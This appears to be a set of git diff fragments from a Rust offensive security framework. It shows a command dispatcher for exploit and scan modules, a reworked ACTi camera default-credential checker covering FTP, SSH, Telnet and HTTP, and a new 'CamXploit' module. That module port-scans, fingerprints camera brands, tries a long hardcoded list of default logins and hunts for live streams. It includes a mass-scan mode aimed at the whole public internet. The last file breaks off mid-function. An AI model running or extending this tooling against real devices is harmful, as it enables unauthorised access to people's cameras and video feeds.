||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
utils::verbose_log(cli_args.verbose, &format!("Executing subcommand: {}", cmd));
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
}
|
||||
// Improved module+target handling: Run module directly if both -m and -t (or global target) are present
|
||||
else if let Some(ref module) = cli_args.module {
|
||||
if let Some(ref target) = cli_args.target {
|
||||
utils::verbose_log(cli_args.verbose, &format!("Running module '{}' against '{}'", module, target));
|
||||
commands::run_module(module, target, cli_args.verbose).await?;
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
let target = match config::GLOBAL_CONFIG.get_target() {
|
||||
Some(t) => t,
|
||||
None => String::new(),
|
||||
};
|
||||
utils::verbose_log(cli_args.verbose, &format!("Running module '{}' against global target '{}'", module, target));
|
||||
commands::run_module(module, &target, cli_args.verbose).await?;
|
||||
} else {
|
||||
// If only -m: Show warning, launch shell with module preselected (Phase 3 mostly, but good fallback)
|
||||
eprintln!("{}", "⚠ Warning: --module specified without --target. Launching shell...".yellow());
|
||||
utils::verbose_log(cli_args.verbose, "Launching interactive shell...");
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
}
|
||||
// Otherwise, launch the interactive shell
|
||||
else {
|
||||
utils::verbose_log(cli_args.verbose, "Launching interactive shell...");
|
||||
shell::interactive_shell(cli_args.verbose).await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
@@ -1,15 +1,24 @@
|
||||
use anyhow::{Context, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
|
||||
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
/// Supported Acti services
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum ServiceType {
|
||||
Ftp,
|
||||
Ssh,
|
||||
@@ -17,6 +26,17 @@ pub enum ServiceType {
|
||||
Http,
|
||||
}
|
||||
|
||||
impl ServiceType {
|
||||
fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
ServiceType::Ftp => "FTP",
|
||||
ServiceType::Ssh => "SSH",
|
||||
ServiceType::Telnet => "Telnet",
|
||||
ServiceType::Http => "HTTP",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Common config
|
||||
#[derive(Clone)]
|
||||
pub struct Config {
|
||||
@@ -38,22 +58,27 @@ fn normalize_target(target: &str, port: u16) -> String {
|
||||
}
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
|
||||
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying FTP: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
println!("[+] FTP credentials valid: {}:{}", username, password);
|
||||
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
|
||||
let _ = ftp.quit().await;
|
||||
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
|
||||
// Respect stop_on_success: if true, stop after first valid credential
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
return Ok(result);
|
||||
}
|
||||
// If false, continue checking but still return first found (for consistency)
|
||||
return Ok(result);
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
@@ -61,17 +86,17 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying SSH: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
@@ -81,25 +106,23 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
println!("[+] SSH credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying Telnet: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
@@ -120,33 +143,31 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
println!("[+] Telnet credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
|
||||
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying HTTP: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let data = [
|
||||
@@ -156,29 +177,42 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
("btnSubmit", "Login"),
|
||||
];
|
||||
|
||||
// Manual form construction
|
||||
let mut body = String::new();
|
||||
for (key, val) in &data {
|
||||
if !body.is_empty() { body.push('&'); }
|
||||
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
|
||||
}
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.form(&data)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("[!] Failed to send HTTP form request")?;
|
||||
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
let body = match res.text().await {
|
||||
Ok(t) => t,
|
||||
Err(_) => String::new(),
|
||||
};
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
println!("[+] HTTP credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
@@ -210,10 +244,33 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
check_http_form(&http_conf),
|
||||
);
|
||||
|
||||
ftp_res?;
|
||||
ssh_res?;
|
||||
telnet_res?;
|
||||
http_res?;
|
||||
// Collect all successful results
|
||||
let mut found_credentials = Vec::new();
|
||||
|
||||
if let Ok(Some((service, user, pass))) = ftp_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = ssh_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = telnet_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = http_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
|
||||
// Print summary
|
||||
if !found_credentials.is_empty() {
|
||||
println!();
|
||||
println!("{}", "=== Summary ===".bold());
|
||||
for (service, user, pass) in &found_credentials {
|
||||
println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
|
||||
}
|
||||
} else {
|
||||
println!();
|
||||
println!("{}", "[-] No valid credentials found on any service.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,849 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use base64::prelude::*;
|
||||
use rand::Rng;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use tokio::time::timeout;
|
||||
|
||||
// =================================================================================
|
||||
// CONSTANTS & DATA
|
||||
// =================================================================================
|
||||
|
||||
const PORT_SCAN_TIMEOUT: u64 = 2;
|
||||
const TIMEOUT: u64 = 5;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges for mass scanning
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"198.51.100.0/24", "203.0.113.0/24", "192.0.2.0/24", // Documentation ranges
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32", // Public DNS
|
||||
];
|
||||
|
||||
// Ports to ignore when filtering scan results — hosts with ONLY these ports open
|
||||
// are not cameras and should be skipped in mass scan mode
|
||||
const IGNORED_SERVICE_PORTS: &[u16] = &[22, 23, 3389]; // SSH, Telnet, RDP
|
||||
|
||||
const COMMON_PORTS: &[u16] = &[
|
||||
// Standard web ports
|
||||
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 443, 8080, 8443, 8000, 8001, 8008, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089,
|
||||
8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099,
|
||||
// RTSP ports
|
||||
554, 8554, 10554, 1554, 2554, 3554, 4554, 5554, 6554, 7554, 9554,
|
||||
// RTMP ports
|
||||
1935, 1936, 1937, 1938, 1939,
|
||||
// Custom camera ports
|
||||
37777, 37778, 37779, 37780, 37781, 37782, 37783, 37784, 37785, 37786, 37787, 37788, 37789, 37790,
|
||||
37791, 37792, 37793, 37794, 37795, 37796, 37797, 37798, 37799, 37800,
|
||||
// ONVIF ports
|
||||
3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710,
|
||||
// VLC streaming ports
|
||||
8100, 8110, 8120, 8130, 8140, 8150, 8160, 8170, 8180, 8190,
|
||||
// Common alternative ports
|
||||
110, 143, 993, 995,
|
||||
1024, 1025, 1026, 1027, 1028, 1029, 1030,
|
||||
2000, 2001, 2002, 2003, 2004, 2005,
|
||||
3000, 3001, 3002, 3003, 3004, 3005,
|
||||
4000, 4001, 4002, 4003, 4004, 4005,
|
||||
5000, 5001, 5002, 5003, 5004, 5005, 5006, 5007, 5008, 5009, 5010,
|
||||
6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010,
|
||||
7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010,
|
||||
9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010,
|
||||
// Additional common ports
|
||||
8888, 8889, 8890, 8891, 8892, 8893, 8894, 8895, 8896, 8897, 8898, 8899,
|
||||
9999, 9998, 9997, 9996, 9995, 9994, 9993, 9992, 9991, 9990,
|
||||
// MMS ports
|
||||
1755, 1756, 1757, 1758, 1759, 1760,
|
||||
// High ports
|
||||
20000, 20001, 30000, 30001, 40000, 40001, 50000, 50001, 60000, 60001
|
||||
];
|
||||
|
||||
const HTTPS_PORTS: &[u16] = &[443, 8443, 8444];
|
||||
|
||||
const COMMON_PATHS: &[&str] = &[
|
||||
"/", "/admin", "/login", "/viewer", "/webadmin", "/video", "/stream", "/live", "/snapshot",
|
||||
"/onvif-http/snapshot", "/system.ini", "/config", "/setup", "/cgi-bin/", "/api/",
|
||||
"/camera", "/img/main.cgi", "/cgi-bin/admin/mjpeg.cgi", "/cgi-bin/snapshot.cgi",
|
||||
"/videostream.cgi", "/axis-cgi/mjpg/video.cgi", "/video.cgi", "/image.jpg"
|
||||
];
|
||||
|
||||
// Default credentials
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "1234"),
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("admin", "1234567"),
|
||||
("admin", "12345678"),
|
||||
("admin", "123456789"),
|
||||
("admin", "admin123"),
|
||||
("admin", "admin1234"),
|
||||
("admin", "admin12345"),
|
||||
("admin", "password"),
|
||||
("admin", "pass"),
|
||||
("admin", "123"),
|
||||
("admin", "1111"),
|
||||
("admin", "0000"),
|
||||
("admin", "8888"),
|
||||
("admin", "default"),
|
||||
("admin", "admin@123"),
|
||||
("admin", "Admin123"),
|
||||
("admin", "Admin1234"),
|
||||
("admin", "888888"),
|
||||
("admin", "666666"),
|
||||
("admin", "4321"),
|
||||
("admin", "9999"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "toor"),
|
||||
("root", "1234"),
|
||||
("root", "12345"),
|
||||
("root", "123456"),
|
||||
("root", "pass"),
|
||||
("root", "password"),
|
||||
("root", "root123"),
|
||||
("root", "admin"),
|
||||
("root", "1111"),
|
||||
("root", "0000"),
|
||||
("root", ""),
|
||||
("user", "user"),
|
||||
("user", "user123"),
|
||||
("user", "password"),
|
||||
("user", "1234"),
|
||||
("user", "12345"),
|
||||
("user", "123456"),
|
||||
("user", ""),
|
||||
("guest", "guest"),
|
||||
("guest", "guest123"),
|
||||
("guest", "1234"),
|
||||
("guest", "12345"),
|
||||
("guest", "123456"),
|
||||
("guest", ""),
|
||||
("operator", "operator"),
|
||||
("operator", "operator123"),
|
||||
("operator", "1234"),
|
||||
("operator", "12345"),
|
||||
("administrator", "administrator"),
|
||||
("administrator", "admin"),
|
||||
("administrator", "1234"),
|
||||
("administrator", "12345"),
|
||||
("administrator", "123456"),
|
||||
("administrator", "password"),
|
||||
("supervisor", "supervisor"),
|
||||
("supervisor", "1234"),
|
||||
("supervisor", "12345"),
|
||||
("supervisor", "123456"),
|
||||
("supervisor", "password"),
|
||||
("support", "support"),
|
||||
("support", "support123"),
|
||||
("support", "1234"),
|
||||
("support", "password"),
|
||||
("system", "system"),
|
||||
("system", "system123"),
|
||||
("system", "1234"),
|
||||
("system", "12345"),
|
||||
("system", "123456"),
|
||||
("viewer", "viewer"),
|
||||
("viewer", "viewer123"),
|
||||
("viewer", "1234"),
|
||||
("viewer", "12345"),
|
||||
("admin1", "admin"),
|
||||
("admin1", "admin1"),
|
||||
("admin1", "1234"),
|
||||
("admin1", "12345"),
|
||||
("admin1", "123456"),
|
||||
("admin1", "password"),
|
||||
("888888", "888888"),
|
||||
("888888", "123456"),
|
||||
("888888", "000000"),
|
||||
("666666", "666666"),
|
||||
("666666", "123456"),
|
||||
("666666", "000000"),
|
||||
("", "admin"),
|
||||
("", "12345"),
|
||||
("", "123456"),
|
||||
];
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let target = target.trim().to_string();
|
||||
print_banner();
|
||||
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" {
|
||||
return run_mass_scan().await;
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// 1. Port Scan
|
||||
println!("{}", format!("\n[*] Scanning {} ports...", COMMON_PORTS.len()).yellow());
|
||||
let (open_ports, rtsp_ports) = check_ports(&target).await;
|
||||
|
||||
if open_ports.is_empty() {
|
||||
println!("{}", "[-] No open camera ports found.".red());
|
||||
println!("{}", "[!] Ensure the target is online and not behind a strict firewall.".yellow());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!("{}", format!("\n[+] Found {} open ports: {:?}", open_ports.len(), open_ports).green());
|
||||
|
||||
// 2. Camera Detection & Fingerprinting
|
||||
let client = create_client()?;
|
||||
let is_camera = check_if_camera(&target, &open_ports, &client).await;
|
||||
|
||||
if !is_camera {
|
||||
println!("{}", "\n[-] Target does not appear to be a camera based on initial checks.".yellow());
|
||||
println!("{}", "[*] Proceeding with additional checks...".cyan());
|
||||
}
|
||||
|
||||
check_login_pages(&target, &open_ports, &client).await;
|
||||
fingerprint_camera(&target, &open_ports, &client).await;
|
||||
|
||||
// 3. Credential Testing
|
||||
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// 4. Stream Detection
|
||||
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// 5. Additional Information
|
||||
|
||||
|
||||
println!("{}", "\n[✅] Scan Completed!".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "\n╔══════════════════════════════════════════════════════════════╗".green().bold());
|
||||
println!("{}", "║ 💀 CamXploit Rust Port - Camera Exploitation Scanner ║".green().bold());
|
||||
println!("{}", "║ 🔍 Discover open CCTV cameras & security flaws ║".cyan().bold());
|
||||
println!("{}", "║ ⚠️ For educational & security research purposes only! ║".yellow().bold());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold());
|
||||
}
|
||||
|
||||
fn create_client() -> Result<Client> {
|
||||
Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(TIMEOUT))
|
||||
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
|
||||
.build()
|
||||
.map_err(|e| anyhow::anyhow!(e))
|
||||
}
|
||||
|
||||
fn get_protocol(port: u16) -> &'static str {
|
||||
if HTTPS_PORTS.contains(&port) { "https" } else { "http" }
|
||||
}
|
||||
|
||||
fn get_port_service_map() -> HashMap<u16, (&'static str, &'static str)> {
|
||||
let mut map = HashMap::new();
|
||||
|
||||
// Web ports
|
||||
map.insert(80, ("HTTP", " - Standard Web"));
|
||||
map.insert(443, ("HTTPS", " - Secure Web"));
|
||||
map.insert(8080, ("HTTP-Alt", " - Alternative HTTP"));
|
||||
map.insert(8443, ("HTTPS-Alt", " - Alternative HTTPS"));
|
||||
map.insert(8000, ("HTTP-Alt", ""));
|
||||
|
||||
// RTSP ports
|
||||
map.insert(554, ("RTSP", " - Real Time Streaming Protocol"));
|
||||
map.insert(8554, ("RTSP-Alt", " - Alternative RTSP"));
|
||||
|
||||
// RTMP ports
|
||||
map.insert(1935, ("RTMP", " - Real Time Messaging Protocol"));
|
||||
|
||||
// Custom camera ports
|
||||
map.insert(37777, ("DVR", " - Common DVR/NVR Port"));
|
||||
|
||||
// ONVIF
|
||||
map.insert(3702, ("ONVIF", " - Camera Discovery"));
|
||||
|
||||
map
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// PORT SCANNING
|
||||
// =================================================================================
|
||||
|
||||
async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
|
||||
let mut open_ports = Vec::new();
|
||||
let mut rtsp_ports = Vec::new();
|
||||
let semaphore = Arc::new(Semaphore::new(100)); // Concurrency limit
|
||||
let mut tasks = Vec::new();
|
||||
let target_arc = Arc::new(target.to_string());
|
||||
|
||||
// Deduplicate ports
|
||||
let unique_ports: HashSet<u16> = COMMON_PORTS.iter().cloned().collect();
|
||||
let port_map = get_port_service_map();
|
||||
|
||||
for port in unique_ports {
|
||||
let t = target_arc.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return None,
|
||||
};
|
||||
let addr = format!("{}:{}", t, port);
|
||||
|
||||
// Basic TCP Connect
|
||||
if timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await.is_ok() {
|
||||
// If open, probe for RTSP
|
||||
let is_rtsp = probe_rtsp(&t, port).await;
|
||||
return Some((port, is_rtsp));
|
||||
}
|
||||
None
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
if let Ok(Some((port, is_rtsp))) = task.await {
|
||||
open_ports.push(port);
|
||||
if is_rtsp {
|
||||
rtsp_ports.push(port);
|
||||
}
|
||||
|
||||
// Logging
|
||||
let (svc_name, svc_desc) = port_map.get(&port).unwrap_or(&("Unknown", ""));
|
||||
let rtsp_tag = if is_rtsp { " [RTSP DETECTED]".bright_green() } else { "".normal() };
|
||||
println!(" ✅ [OPEN] {}/tcp {}{}{}", port, svc_name, svc_desc, rtsp_tag);
|
||||
}
|
||||
}
|
||||
|
||||
open_ports.sort();
|
||||
rtsp_ports.sort();
|
||||
(open_ports, rtsp_ports)
|
||||
}
|
||||
|
||||
async fn probe_rtsp(target: &str, port: u16) -> bool {
|
||||
// Sends a minimal RTSP OPTIONS request
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await {
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
|
||||
target, port
|
||||
);
|
||||
if stream.write_all(request.as_bytes()).await.is_err() { return false; }
|
||||
|
||||
let mut buffer = [0u8; 2048];
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), stream.read(&mut buffer)).await {
|
||||
if n > 0 {
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
if response.contains("RTSP/1.0") || response.contains("Public:") || response.contains("Server:") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// FINGERPRINTING
|
||||
// =================================================================================
|
||||
|
||||
async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> bool {
|
||||
println!("{}", "\n[📷] Analyzing Ports for Camera Indicators...".cyan());
|
||||
let found = Arc::new(Mutex::new(false));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for &port in open_ports {
|
||||
let t = target.to_string();
|
||||
let c = client.clone();
|
||||
let f = found.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, t, port);
|
||||
|
||||
if let Ok(resp) = c.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let status = resp.status();
|
||||
let body = resp.text().await.unwrap_or_default().to_lowercase();
|
||||
|
||||
let mut indicators = false;
|
||||
|
||||
// Server header indicators
|
||||
if headers.contains("hikvision") || headers.contains("dahua") || headers.contains("axis") ||
|
||||
headers.contains("camera") || headers.contains("dvr") || headers.contains("nvr") ||
|
||||
headers.contains("ipcam") || headers.contains("webcam") {
|
||||
println!(" ✅ Camera Server Header detected on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
// Body indicators
|
||||
if body.contains("cp plus") || body.contains("cpplus") || body.contains("uvr") {
|
||||
println!(" ✅ CP Plus indicator on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
if body.contains("webcam") || body.contains("surveillance") || body.contains("snapshot") ||
|
||||
body.contains("ipcam") || body.contains("netcam") {
|
||||
println!(" ✅ Camera keyword in body on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
// Auth requirement check
|
||||
if status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
println!(" ✅ Authentication required on port {} (potential camera)", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
if indicators {
|
||||
let mut lock = f.lock().await;
|
||||
*lock = true;
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
let result = *found.lock().await;
|
||||
result
|
||||
}
|
||||
|
||||
async fn check_login_pages(target: &str, open_ports: &[u16], client: &Client) {
|
||||
println!("{}", "\n[🔍] Checking for authentication pages...".cyan());
|
||||
|
||||
let mut found_count = 0;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
for path in COMMON_PATHS {
|
||||
let url = format!("{}://{}:{}{}", protocol, target, port, path);
|
||||
if let Ok(resp) = client.head(&url).send().await {
|
||||
let status = resp.status();
|
||||
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED ||
|
||||
status == reqwest::StatusCode::FORBIDDEN {
|
||||
println!(" ✅ Found: {} (Status: {})", url, status);
|
||||
found_count += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if found_count == 0 {
|
||||
println!(" {} No common login pages found", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client) {
|
||||
println!("{}", "\n[📡] Fingerprinting Camera Type & Firmware...".cyan());
|
||||
|
||||
let mut found_brand = false;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, target, port);
|
||||
|
||||
if let Ok(resp) = client.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let body = resp.text().await.unwrap_or_default().to_lowercase();
|
||||
|
||||
if headers.contains("hikvision") || body.contains("hikvision") {
|
||||
println!("🔥 {} on port {}!", "Hikvision Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if headers.contains("dahua") || body.contains("dahua") {
|
||||
println!("🔥 {} on port {}!", "Dahua Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if headers.contains("axis") || body.contains("axis") {
|
||||
println!("🔥 {} on port {}!", "Axis Camera Detected".bright_red().bold(), port);
|
